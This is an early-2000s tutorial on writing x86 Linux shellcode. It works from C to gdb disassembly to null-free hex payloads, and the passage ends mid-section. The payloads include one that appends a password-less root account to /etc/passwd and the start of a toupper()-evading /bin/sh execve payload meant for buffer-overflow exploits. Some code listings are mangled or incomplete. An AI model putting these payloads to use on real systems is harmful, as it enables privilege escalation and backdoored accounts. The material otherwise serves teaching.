---[ Shellcode Poetry ]--- ------------------------------< by: R00T-dude [ ilja@coders.be ] >-- -< and incubus [ michael@coders.be ] >-- "If the facts don't fit the theory, change the facts." -Albert Einstein 0x00 --] index -------------- 0x01..................................................... introduction 0x02......................................... shellcode what, why, ... 0x03............................................. first example: mkdir 0x04.................................... second example: adding a user 0x05..................................... example three: Abby birthday 0x06........................ example four: Twinkle Twinkle little star 0x07................................. example five: toupper() escaping 0x08............................... what happens to the 6th argument ? 0x01 --] introduction --------------------- This paper was written to give you a bit more information on shellcode and the creation of it. There are some pretty good papers about this subject available on the Internet, so it is safe to say that this one puts 'em all together, this is not anything *new*. When writing this paper, I assume you have some knowledge about C and x86 assembly. Note: all these source codes are made on a x86 machine, sorry. First of all, we wanna apologize to the seasoned assembler programmer, for being so basic sometimes, we just want to explain this poetry to a wide range of people. Second, we would like to say that neither R00T-dude nor incubus nor a member of coders.be nor whoever can be held responsible for the use of this information / source code , EXCEPT yourself! If you would damage a system using this information / source codes it's your own fault and not ours. We tested these shellcodes carefully on several systems, no problems where found. (if so, too bad :)) 0x02 --] Shellcode: what, why, ... ---------------------------------- What is shellcode? To put it in a simple way: shellcode is a bunch of assembler commands written in hex. Nothing more, nothing less. If some e-security consultant tells you that shellcode doesn't make you 3l33t, well, he's right. Sorry consultant boy, but we don't want to be 3l33t, we just want to have some assembly code executed. Why would one use shellcode? It's commonly used to make a program with additional rights (susid, remote, ...) do things you want it to do (eg: spawning a suid-ed shell, add an extra line in /etc/passwd, etc,..) by inserting it to a buffer. This buffer will be executed by pointing to its beginning (after nops) via a buffer overflow bug, a format string bug, etc, etc,.. Well, to put it in a simple way, shellcode is used in exploits. For more information, these papers will give you more information about bufferoverflowing. - "Smashing the stack for fun and profit" by Aleph1. http://www.phrack.org/show.php?p=49&a=14 - "How to write Buffer Overflows" by mudge. http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html - "Writing buffer overflow exploits" by Mixter. http://members.tripod.com/mixtersecurity/exploit.txt There are also other very good papers on buffer overflows and creating shellcode, but this papers will suffice for now, for more papers, look at the end of this paper (and everything in between, please) 0x03 --] First example: mkdir ----------------------------- "The beginning is the most important part of the work." --Plato In this section we'll try to make a directory using shellcode.. Why no silly "hello world" thing? printf() is a part of __IO_vfprintf, look at it.. , it's a lot of code for nearly one write() syscall.. "So? we can use the write() call?" Hmmm.. err.. we wanna be original, no hello world thingies.. make dirs! Anyway, enough, here's the simple C code: +--< EOF: mkdir.c >------------------------------------------------- void main(){ mkdir ("blah"); } +--< EOF: mkdir.c >------------------------------------------------- This makes a new directory in the current directory (if permission are correct) called "blah". We compile this piece of source code and fire up gdb. Note: use the -static parameter, cause it will prevent linking with shared libraries. [incy@jupiler ~/code]$ gcc mkdir.c -o mkdir -static [incy@jupiler ~/code]$ gdb mkdir First of all, we wanna disassemble the main() function: (gdb) disassemble main Dump of assembler code for function main: 0x80481b4
: push %ebp 0x80481b5
: mov %esp,%ebp 0x80481b7
: sub $0x8,%esp 0x80481ba
: add $0xfffffff4,%esp 0x80481bd
: push $0x8086548 0x80481c2
: call 0x804bfb0 <__mkdir> 0x80481c7
: add $0x10,%esp 0x80481ca
: leave 0x80481cb
: ret 0x80481cc
: nop 0x80481cd
: nop 0x80481ce
: nop 0x80481cf
: nop End of assembler dump. What's happening here? main() pushes the address of the string "blah" to the stack and calls __mkdir. How do we know that 0x8086548 is the address to "blah"? We simply ask gdb: (gdb) x/5xbc 0x8086548 0x8086548 <_IO_stdin_used>: 98 'b' 108 'l' 97 'a' 104 'h' 0 '\000' Yup, 'b','l','a' and 'h' followed by a NULL byte, good. So, let's take a look to the __mkdir thingy: (gdb) disassemble __mkdir Dump of assembler code for function __mkdir: 0x804bfb0 <__mkdir>: mov %ebx,%edx 0x804bfb2 <__mkdir>: mov 0x8(%esp,1),%ecx 0x804bfb6 <__mkdir>: mov 0x4(%esp,1),%ebx 0x804bfba <__mkdir>: mov $0x27,%eax 0x804bfbf <__mkdir>: int $0x80 0x804bfc1 <__mkdir>: mov %edx,%ebx 0x804bfc3 <__mkdir>: cmp $0xfffff001,%eax 0x804bfc8 <__mkdir>: jae 0x8052730 <__syscall_error> 0x804bfce <__mkdir>: ret End of assembler dump. That's it, we can even skip the _syscall_error jump, we will just stay stuck to mkdir. The only thing we need from this peace of code is the system call (or syscall). The mkdir function uses syscall 39 (27 hex) which will be placed into eax , and then we're going into kernel mode (int $0x80). *Note*: You can take a look to several other syscalls in /usr/include/asm/unistd.h, but we will come on that issue later. So, our asm code would have to do this: --] - put the address of "blah" in the ebx register - put 27h into the eax register. - go into kernel mode Now, we cannot use the memory address from the asm code above, because it will be different on every machine. That's why we're gonna have to use relative addressing, we'll make a jump to the end of our code, and we'll call the beginning (minus 2 bytes) again , and behind that call, we will place our string "blah". Why? After the call instruction we will be able to use the string "blah", because if we pop ESI (take it off the stack), the ESP (stack pointer) is at "blah". So, a slight modification in our pseudo code: --] - jmp to 'the call' # 'the jump' - pop ESI off the stack - put address of "blah" into ebx - put 27h into eax - go into kernel mode - call to 'the jump' - 2 bytes # 'the call' - .string "blah" If we would translate this code into assembly, it will hopefully look a bit like this jmp 0x0a # 0x0a is the distance to call popl %esi movl %esi,%ebx mov $0x27,%eax int $0x80 call -0x0f # -0x0f will point to pop %esi .string \"blah\" *Note: since we don't want any nullbytes in our shellcode, (because it will stop copying a buffer with a strcpy(), gets(), ..) and also since "mov $0x27,%eax" will generate nullbytes, we must change that line of code into "movb $0x27,%al". *Why? We just have to move a byte into the lower part of eax, which is al. We change that line of code , but also the jmp and call offmovs, cause the size of our shellcode has decreased. (decreasing the length of the shellcode might have some importance in the future.. :)) jmp 0x07 popl %esi movl %esi,%ebx mov $0x27,%al int $0x80 call -0x0c .string \"blah\" So, we create a testfile and place the assembly code in it, using the __asm__() function: void main(){ __asm__(" jmp 0x07 popl %esi movl %esi,%ebx movb $0x27,%al int $0x80 call -0x0c .string \"blah\" "); } We compile it with the -ggdb parameter, and we see what gdb thinks of this file: [incy@jupiler ~/code]$ gcc test.c -o test -ggdb [incy@jupiler ~/code]$ gdb test (gdb) disassemble main Dump of assembler code for function main: 0x8048380
: push %ebp 0x8048381
: mov %esp,%ebp 0x8048383
: jmp 0x804838c
0x8048385
: pop %esi 0x8048386
: mov %esi,%ebx 0x8048388
: mov $0x27,%al 0x804838a
: int $0x80 0x804838c
: call 0x8048385
0x8048391
: bound %ebp,0x68(%ecx,2) 0x8048395
: add %cl,%cl 0x8048397
: End of assembler dump. (gdb) q [incy@jupiler ~/code]$ *Note: if the jmp (and/or call) doesn't point to the right line number (
) then your code will segfault, you can easily check it with gdb. Ok, this is the code we should use. Next, we will read the hexadecimal values of te machine code. (gdb) x/xb main 0x8048380
: 0x55 (gdb) 0x8048381
: 0x89 (gdb) 0x8048382
: 0xe5 (gdb) 0x8048383
: 0xeb (gdb) ... We guess you get the picture, just keep pressing [enter], till you are at line
, because that is where *our* code stops. Btw: there is another *faster* way to do this to, discussed in chapter 0x04. So, great, we have the shellcode for mkdir right here: "\xeb\x0a\x5e\x89\xf3\xb0\x27\xcd\x80\xe8\xf1\xff\xff\xff" This 14-bytes line of poetry will make a directory, but how will mkdir know which directory to make? Well, we have to place that behind the mkdir machine code, like: "\xeb\x0a\x5e\x89\xf3\xb0\x27\xcd\x80\xe8\xf1\xff\xff\xffblah" Looks pretty romantic, not? We can make this shellcode work by doing inserting it in a char buffer and execute it: +--< BOF: mkdir-sc.c >------------------------------------------------ char shellcode[] = "\xeb\x0a\x5e\x89\xf3\xb0\x27" "\xcd\x80\xe8\xf1\xff\xff\xff" "blah"; /* this one's separated for its clarity */ main(){ void (*a)() = (void *)shellcode; printf ("Mkdir shellcode\n%d bytes\n", strlen(shellcode)); a(); } +--< EOF: mkdir-sc.c >------------------------------------------------ *Warning: by skipping the __syscall_error functions we get no warning if the name is invalid (e.g: "..", "/", ...), already exists... We did not tested this program for it, maybe you want to test it? Anyway, this shellcode is pretty useless when it's used in an exploit, so, enough of creating directories, let's move on to the next chapter: 0x04 --] Second example: adding a user -------------------------------------- "Liberty, when it begins to take root, is a plant of rapid growth." --George Washington Creating a directory was quite easy, so let's continue and try to make a shellcode with a more difficult task... What about adding a user by writing 'w00t::0:0::/:/bin/sh' into the passwd file? Good enough? We can complete this task in several ways. The first (*and less original*) is taking Aleph1's shellcode from the "smashing the stack"-paper and simply change the '/bin/sh' part of the shellcode into /bin/sh -c 'echo "w00t::0:0::/:/bin/sh" >> /etc/passwd' but as we said, that would be unoriginal ... Second, -and better- (with all respect to Aleph1) , we can try to open the /etc/passwd file, write something to it, and close it again. That would be also better if some IDS tool is scanning for '/bin/sh' exec's at stack level.. Hmm.. if that exists. :) First let's make a .c file that writes something in /etc/passwd. Here we could use fprintf() to write to the file, but instead we use open, write and close. We made aauioow.c (Adding A User In Our Own Way) like this: +--< BOF: aauioow.c >----------------------------------------------- #include int main() { int fd; fd = open("/etc/passwd", O_WRONLY | O_APPEND); write(fd, "w00t::0:0::/:/bin/sh\n", 21); close(fd); } +--< EOF: aauioow.c >----------------------------------------------- We compile it, (with the -static parameter , so we can also use gdb to see what it does) and run it (as root) to see if it works: [incy@jupiler ~/code]$ gcc aauioow.c -o aauioow -static [incy@jupiler ~/code]$ su Password: [root@jupiler /home/incy/code]# ./aauioow [root@jupiler /home/incy/code]# tail -n 1 /etc/passwd w00t::0:0::/:/bin/sh [root@jupiler /home/incy/code]# exit [incy@jupiler ~/code]$ su w00t [root@jupiler /home/incy/code]# id uid=0(root) gid=0(root) groups=0(root) Okay, it works.. a password-less rootshell.. that's pretty nice. Now let's quickly run this through gdb, and check if everything is in place: [r-dude@Netwerkdagen:~]$gdb aauioow (gdb) disas main Dump of assembler code for function main: 0x804818c
: push %ebp 0x804818d
: mov %esp,%ebp 0x804818f
: sub $0x4,%esp 0x8048192
: push $0x401 0x8048197
: push $0x806df28 0x804819c
: call 0x804c530 <__libc_open> 0x80481a1
: add $0x8,%esp 0x80481a4
: mov %eax,%eax 0x80481a6
: mov %eax,0xfffffffc(%ebp) 0x80481a9
: push $0x15 0x80481ab
: push $0x806df34 0x80481b0
: mov 0xfffffffc(%ebp),%eax 0x80481b3
: push %eax 0x80481b4
: call 0x804c580 <__libc_write> 0x80481b9
: add $0xc,%esp 0x80481bc
: mov 0xfffffffc(%ebp),%eax 0x80481bf
: push %eax 0x80481c0
: call 0x804c560 <__libc_close> 0x80481c5
: add $0x4,%esp 0x80481c8
: leave 0x80481c9
: ret 0x80481ca
: nop 0x80481cb
: nop End of assembler dump. (gdb) x/12xbc 0x806df28 0x806df28 <_IO_stdin_used>: 47 '/' 101 'e' 116 't' 99 'c' 47 '/' 112 'p' 97 'a' 115 's' 0x806df30 <_IO_stdin_used>: 115 's' 119 'w' 100 'd' 0 '\000' (gdb) x/22xbc 0x806df34 0x806df34 <_IO_stdin_used>: 119 'w' 48 '0' 48 '0' 116 't' 58 ':' 58 ':' 48 '0' 58 ':' 0x806df3c <_IO_stdin_used>: 48 '0' 58 ':' 58 ':' 47 '/' 58 ':' 47 '/' 98 'b' 105 'i' 0x806df44 <_IO_stdin_used>: 110 'n' 47 '/' 115 's' 104 'h' 10 '\n' 0 '\000' (gdb) q Ok, so what happens is : the string "/etc/passwd" is pushed onto the stack, open() is called, then the string "w00t::0:0::/:/bin/sh\n" is pushed on the stack, after that , a write call is issued, and last the close call is used. Since more than 1 systemcall was made, we will have to put those calls into kernel mode one at a time, so first open then write and finally, close. So, what we need to do is the following: # this is the pseudo code for open() - jump to "the call" - pop ESI off the stack - put the addr. of "/etc/passwd" into ebx - put the flags "O_RWONLY | O_APPEND" into ecx - put 5 into eax # 5 is the systemcall nr of open() - go into kernel mode # this is the pseudo code for write() - put the addr. of "w00t::0:0::/:/bin/sh" into ecx - move eax into ebx # after the syscall is completed, # it returns the filedescriptor into eax - put 4 into eax # 4 is the syscall nr of write() - put 15 into edx # 15 is the hex value of 21, which # is the size of our string - go into kernel mode # pseudo code for close() - put 6 into eax # 6 is close() - go into kernel mode - call to the # additional - string "/etc/passwd" - string "w00t::0:0::/:/bin/sh" Here we have our pseudo code. But we have some problems, which we are going to solve BEFORE we turn this into full working asm codes. First of all , this time we need two strings in this code, so one jump to a call will only get the address of the first string on the stack. We *could *solve this by using 2 jumps and 2 calls. But by doing that you would only make it much harder on yourself. The other solution is instead of movb-"ing" the address of the string into ebx or ecx, we'll use leal, which works with parameters separated by the char "8". Our second problem are the values of "O_RWONLY" and "O_APPEND" , these can be found in the fcntl.h, but it needs a little mathematics. If we look into that fcntl.h file, we should see: #define O_WRONLY 01 #define O_APPEND 02000 Note, these are octal values. Since these two values are bitwised OR'ed, we need to calculate em: +------+---------------+ | oct | bin | +------+---------------+ 2000 = 0100 0000 0000 1 = 0000 0000 0001 -------------- OR = 0100 0000 0001 = 2001 Voila , the result is 2001. If we would convert that into the decimal arithmetical system we would get: 1025. And if we'd change that into hex then we'd get 401, right? Yes. And look back to the gdb output: 0x8048192
: push $0x401 We're starting to think like the machine :). Anyway, our problems are solved, so we can make some pseudo asm code: # open() - jump to our call - pop addr of string off the stack - leal esi into ebx # leal (%esi), ebx - tell where first arg? stops # movb %edx,0xa(%esi) - put 401 into ecx # O_WRONLY | O_APPEND - put 5 into eax # 5 is syscall of open() - go into kernel mode # write - put the next argument into ecx # leal 0xb(%ebx), %ecx - put eax into ebx # filedescriptor - put 4 into eax - put 15 into edx - go into kernel mode # close() - put 6 into eax - go into kernel mode - .string "/etc/passwd8w00t::0:0::/:/bin/sh\n" Ok, that's about it :) , after this tiny analyses, comes the fun part, translating this into asm commands: # open() jmp 0x1d pop %esi leal (%esi), %ebx movb %edx,0xa(%esi) movw $0x401, %cx movb $5, %al int $0x80 # write() leal 0xb(%ebx), %ecx movl %eax, %ebx movb $4, %al movb $15, %dx int $0x80 # close() movb $6, %al int $0x80 call -0x22 .string "/etc/passwd8w00t::0:0::/:/bin/sh\n" Now, we have to put this in some C code using __asm__(); then compile it and run it through gdb. [r-dude@Netwerkdagen:~]$ gcc write.c -o write -ggdb [r-dude@Netwerkdagen:~]$ gdb write (gdb) disas main Dump of assembler code for function main: 0x8048380
: push %ebp 0x8048381
: mov %esp,%ebp 0x8048383
: jmp 0x80483a2
0x8048385
: pop %esi 0x8048386
: lea (%esi),%ebx 0x8048388
: mov %dl,0xa(%esi) 0x804838b
: mov $0xc02,%cx 0x804838f
: mov $0x5,%al 0x8048391
: int $0x80 0x8048393
: lea 0xb(%ebx),%ecx 0x8048396
: mov %eax,%ebx 0x8048398
: mov $0x4,%al 0x804839a
: mov $0xf,%dl 0x804839c
: int $0x80 0x804839e
: mov $0x6,%al 0x80483a0
: int $0x80 0x80483a2
: call 0x8048385
0x80483a7
: das 0x80483a8
: je 0x804840e <_fini> 0x80483ab
: das 0x80483ac
: jo 0x804840f <_fini> 0x80483ae
: jae 0x8048423 0x80483b0
: ja 0x8048416 0x80483b2
: cmp %dh,0x30(%edi) 0x80483b5
: xor %dh,0x3a(%edx,%edi,1) 0x80483b9
: xor %bh,(%edx) 0x80483bb
: xor %bh,(%edx) 0x80483bd
: cmp (%edi),%ch 0x80483bf
: cmp (%edi),%ch 0x80483c1
: bound %ebp,0x6e(%ecx) 0x80483c4
: das 0x80483c5
: jae 0x804842f 0x80483c7
: or (%eax),%al 0x80483c9
: leave 0x80483ca
: ret End of assembler dump. (gdb) x/36xb main 0x8048383
: 0xeb 0x1d 0x5e 0x8d 0x1e 0x88 0x56 0x0a 0x804838b
: 0x66 0xb9 0x02 0x0c 0xb0 0x05 0xcd 0x80 ... (gdb) q This method is a little shorter than the giant - loop we did in chapter 0x03. Ok, that's it , now we still have to copy this hexy stuff into a C char array, so that we can test this: +--< BOF: write-sp.c >----------------------------------------------- char shellcode[] = "\xeb\x1d\x5e\x8d\x1e\x88\x56\x0a\x66\xb9\x02\x0c" "\xb0\x05\xcd\x80\x8d\x4b\x0b\x89\xc3\xb0\x04\xb2" "\x0f\xcd\x80\xb0\x06\xcd\x80\xe8\xde\xff\xff\xff" "/etc/passwd8w00t::0:0::/:/bin/sh\n"; main(){ void (*a)() = (void *)shellcode; printf ("shellcode\n%d bytes\n", strlen(shellcode)); a(); } +--< EOF: write-sp.c >----------------------------------------------- A kinky story of soixante neuf bytes (36+33), enough for adding a user to a system in a very basic way. Still there? Let's move on: 0x05 --] Example three: Abby birthday ------------------------------------- "Knock, knock." "Who's there?" "Abby." "Abby who?" "Abby birthday." "There's a sucker born every minute". So, every minute of the day, we can wish someone a 'happy birthday'. +--< BOF: happy.c >--------------------------------------------------- #include #include #include #include #define C 2281 #define D 2032 #define E 1810 #define F 1709 #define G 1521 #define A 1355 #define B 1207 #define C6 1140 #define D6 1013 #define E6 921 #define F6 820 #define G6 707 int main() { struct timespec r; r.tv_sec = 0; r.tv_nsec = 240000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 340000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, A); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, B); nanosleep(&r,NULL); r.tv_nsec = 400000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, A); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,D6); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); r.tv_nsec = 400000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND, G); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,G6); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,D6); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND, A); nanosleep(&r,NULL); r.tv_nsec = 400000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND,F6); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 240000000; ioctl(1, KIOCSOUND,F6); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,E6); nanosleep(&r,NULL); r.tv_nsec = 40000000; ioctl(1, KIOCSOUND, 0); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); r.tv_nsec = 560000000; ioctl(1, KIOCSOUND,D6); nanosleep(&r,NULL); r.tv_nsec = 900000000; ioctl(1, KIOCSOUND,C6); nanosleep(&r,NULL); ioctl(1, KIOCSOUND,0); write(1,"\n --) happy birthday f0bic! (--\n\n",34); } +--< EOF: happy.c >--------------------------------------------------- As I don't know how good your music skills are, you *might* guess that this bunch of C code plays "happy birthday" through the PC speaker. Note: If you run this code, do not interrupt the program (for example by using the [ctrl]-c combination) it will keep on playing the note it was playing the entire time, so if *that* would happen, run it again, and wait untill the song is over. So, we have the C code, let's run it thru gdb and see what it says: [incy@jupiler ~/code]$ gcc happy.c -o happy -static [incy@jupiler ~/code]$ gdb happy (gdb) disassemble main Dump of assembler code for function main: 0x80481b4
: push %ebp 0x80481b5 : mov %esp,%ebp 0x80481b7 : sub $0x18,%esp 0x80481ba : movl $0x0,0xfffffff8(%ebp) 0x80481c1 : movl $0xe4e1c00,0xfffffffc(%ebp) 0x80481c8 : add $0xfffffffc,%esp 0x80481cb : push $0x5f1 0x80481d0 : push $0x4b2f 0x80481d5 : push $0x1 0x80481d7 : call 0x804c960 <__ioctl> 0x80481dc : add $0x10,%esp 0x80481df : add $0xfffffff8,%esp 0x80481e2 : push $0x0 0x80481e4 : lea 0xfffffff8(%ebp),%eax 0x80481e7 : push %eax 0x80481e8 : call 0x804c500 <__libc_nanosleep> 0x80481ed : add $0x10,%esp 0x80481f0 : movl $0x2625a00,0xfffffffc(%ebp) 0x80488ab : push $0x22 0x80488ad : push $0x8086c40 0x80488b2 : push $0x1 0x80488b4 : call 0x804c6f0 <__libc_write> 0x80488b9 : add $0x10,%esp 0x80488bc : leave 0x80488bd : ret 0x80488be : mov %esi,%esi A fricking lot of code (note this '' line at the end of the assembly output), that's also why I snipped it. Okay, that's it for the huge main() function, now we switch to __ioctl and __libc_nanosleep. (gdb) disassemble __ioctl Dump of assembler code for function __ioctl: 0x804c810 <__ioctl>: push %ebx 0x804c811 <__ioctl>: mov 0x10(%esp,1),%edx 0x804c815 <__ioctl>: mov 0xc(%esp,1),%ecx 0x804c819 <__ioctl>: mov 0x8(%esp,1),%ebx 0x804c81d <__ioctl>: mov $0x36,%eax 0x804c822 <__ioctl>: int $0x80 0x804c824 <__ioctl>: pop %ebx 0x804c825 <__ioctl>: cmp $0xfffff001,%eax 0x804c82a <__ioctl>: jae 0x8052d80 <__syscall_error> 0x804c830 <__ioctl>: ret End of assembler dump. That's it for ioctl, now we switch over to nanosleep. (I use nanosleep because it is a syscall, if you disassemble usleep() or such, you will see that it will call.. exactly, nanosleep()). (gdb) disassemble __libc_nanosleep Dump of assembler code for function __libc_nanosleep: 0x804c500 <__libc_nanosleep>: mov %ebx,%edx 0x804c502 <__libc_nanosleep+2>: mov 0x8(%esp,1),%ecx 0x804c506 <__libc_nanosleep+6>: mov 0x4(%esp,1),%ebx 0x804c50a <__libc_nanosleep+10>: mov $0xa2,%eax 0x804c50f <__libc_nanosleep+15>: int $0x80 0x804c511 <__libc_nanosleep+17>: mov %edx,%ebx 0x804c513 <__libc_nanosleep+19>: cmp $0xfffff001,%eax 0x804c518 <__libc_nanosleep+24>: jae 0x8052e80 <__syscall_error> 0x804c51e <__libc_nanosleep+30>: ret End of assembler dump. We skipped the write() code, as it is the same as in Chapter 0x04, the "w00t" string to the passwd file. Now that was a lot of machine code for just one little birthday song, but actually it is pretty simple. It's always the "same" ioctl() call and always the same nanosleep() call, just with different values. We could stuff all those notes (C, D, ... untill G6) into an array but that would only make it harder. We'll move them directly into the edx register. (For those who are asking: why edx, and not ecx, ... Well, the freqency is the third argument of a ioctl() call. So, the system call number will be placed into eax, the first argument into ebx, the second argument into ecx, and the third argument, the frequency, into edx.) First of all, just like in Chapter 0x04, let's see where the argument values come from. We mean, $0x4b2f, which is KIOCSOUND. We wouldn't have any clue where that number is coming from so we ask our machine: [incy@jupiler ~/code]$ grep -h KIOCSOUND /usr/include/*/* 2>/dev/null #define KIOCSOUND 0x4B2F /* start sound generation (0 for off)*/ [incy@jupiler ~/code]$ And the value: 1 (the first _ioctl() value) is STDOUT_FILENO. You can see that in the unistd.h file. Ok, altough this shellcode is pretty easy (it's always the same) it's gonna be quite large. So, please forgive me that I would skip a part of the entire pseudo code... --] # jmp to call mov first note into edx mov 0x4b2f into ecx mov 0x1 into ebx mov 0x36 into eax # 0x36 is ioctl() go into kernel mode mov 0x0 into edx mov 'nanosleep_value' into ecx mov 'nanosleep_value' into ebx mov 0xa2 in eax # 0xa2 is nanosleep go into kernel mode mov second note into edx mov 0x4b2f into ecx mov 0x1 into ebx mov 0x36 into eax # ioctl() again.. go into kernel mode mov 0x0 into edx mov 'nanosleep_value' into ecx mov 'nanosleep_value' into ebx mov 0xa2 in eax # 0xa2 is nanosleep go into kernel mode .... (for a long, looong while) .... mov the len of the "happy birthday" string into edx mov the address of that string into ecx mov 0x1 into ebx mov 0x4 into eax go into kernel mode call to jmp .string "\n\n --) happy birthday f0bic! (--\n\n" Okay, we will now make some asm code out of it, and put it directly in a .c file. (And we'll try to work away the null values, more info at the end of this paper: avoiding nullbytes.) +--< BOF: happy-asm.c >----------------------------------------------- void main(){ __asm__(" jmp 0x44 mov $0x5f1,%edx mov $0x4b2f,%ecx mov $0x1,%ebx mov $0x36,%eax int $0x80 xor %edx,%edx mov $0x2160ec00,%ecx # * xor %ebx, %ebx mov $0xa2,%eax int $0x80 mov $0x4b2f,%ecx mov $0x1, %ebx mov $0x36,%eax } +--< EOF: happy-asm.c >----------------------------------------------- [incy@jupiler ~/code]$ gdb abby-asm (gdb) x/8xb main 0x80483b4
: 0x55 0x89 0xe5 0xba 0xf1 0x05 0x00 0x00 (gdb) 0x80483bc : 0xb9 0x2f 0x4b 0x00 0x00 0xbb 0x01 0x00 (gdb) ... (gdb) q [incy@jupiler ~/code]$ The first 3 bytes are the program prelude, then there's your shellcode waiting for you to execute it. First of all, my apologies that this is not the complete code of abby, but I guess it might be pretty boring to watch at several kilobytes of shellcode. The complete 'song' is available at http://www.coders.be/security, and at your favourite music store. 0x06 --] Example four: Twinkle Twinkle little star -------------------------------------------------- "It is better to light a candle, than to curse the darkness." -Carl Sagan You see those little 'leds' on your keyboard? It would be nice having some shellcode which can play with it. Here comes ioctl() back into the game, and we love it, because it is a quite powerful function. So, how to start? First, we'll try to grab some information about how to get those little lights twinkling. Anyway, enough talking. [incy@jupiler]$ cd /usr/include [incy@jupiler]$ grep scroll * */* 2>/dev/null | grep lock | grep led linux/kd.h:#define LED_SCR 0x01 /* scroll lock led */ [incy@jupiler]$ If we look into that kd.h file, we also see: #define KDGETLED 0x4B31 /* return current led state */ #define KDSETLED 0x4B32 /* set led state */ #define LED_SCR 0x01 /* scroll lock led */ #define LED_CAP 0x04 /* caps lock led */ #define LED_NUM 0x02 /* num lock led */ It's right below the KIOSOUND thingy, so where do you think i got my inspiration to play with the keyboard leds.. indeed! Sorry for being lazy. Ever saw the night rider? That car, (a Pontiac firebird i guess), has those lights on the front, and for the fun of it... Why not? 0x07 --] Example five: toupper() escaping ! ------------------------------------------- "Thou shalt check the array bounds of all strings (indeed, all arrays) for surely where thou typest ``foo'' someone someday shall type ``supercalifragilisticexpialidocious''." --The Ten Commandments for C Programmers by Henry Spencer ok, I hope you get the basics of writing shellcode by now. Let's take this a step further, and write some shellcode that CAN be used in the wild. First thing that came to mind were those toupper()'s that you come across in A LOT of deamons, so how in the name of god are we goin to escape that? It seems we have two basic problems here: 1) the string "/bin/sh" 2) and opcode that has lowercase characters in it . How to solve this ? Well, it's pretty easy: for problem number one we will just insert another string, and when the shellcode is run, we'll change that string before we pass it to execve().. And for the second problem, it's even easier to solve, we'll just have to change it into another opcode that doesn't contain any lowercase chars. Because we've already seen how to write basic shellcode, i am not going to reproduce it to prove this point, and we'll just use aleph1's shellcode and then modify it. But first, (as we always do) I will give you some C code that might be pretty helpfull here, if all what i'm sayin' is a bit confusing. This is NOT EXACTLY what happens, but it *might* make things more clear for you.. +--< EOF: esctoupper.c >-------------------------------------------- /* This is NOT EXAXTLY what happens ----------- */ #include int main() { char name[2][7]; /* this is a bit messed up but who carez ! */ char *name2[2]; name2[0]= "/bin/sh"; name2[1]= NULL; /* * our encoded /bin/sh string, * we just added \x30 to the ascii value */ strcpy((char *)name,"\x2f\x32\x39\x3e\x2f\x43\x38"); /* THIS IS NOT WHAT HAPPENS IF YOU TRANSLATE IT INTO ASM * BUT I HOPE YOU SEE WHAT HAPPENS !!! */ name[0][1] = '\x62'; /*\x32 \x30 */ name[0][2] = '\x69'; /*\x3a \x30 */ name[0][3] = '\x6e'; /*\x3e \x30 */ name[0][5] = '\x73'; /*\x43 \x30 */ name[0][6] = '\x68'; /*\x38 \x30 */ execve(name[0], name2, NULL); } +--< EOF: esctoupper.c >-------------------------------------------- let's test it : [r-dude@Netwerkdagen:~]$ gcc -o esctoupper esctoupper.c [r-dude@Netwerkdagen:~]$ ./esctoupper sh-2.03$ Ok, it works, fine :) Now we'll switch to the *REAL* work, our asm code. First of all, we'll take aleph1's shellcode to begin with which is the following: jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string "/bin/sh" So before we wanna encode our string, let's first find out what opcodes contain lowercase chars : [r-dude@Netwerkdagen:~]$gcc -o shellcodeasm2 -ggdb -static shellcodeasm2.c shellcodeasm2.c: In function `main': shellcodeasm2.c:1: warning: return type of `main' is 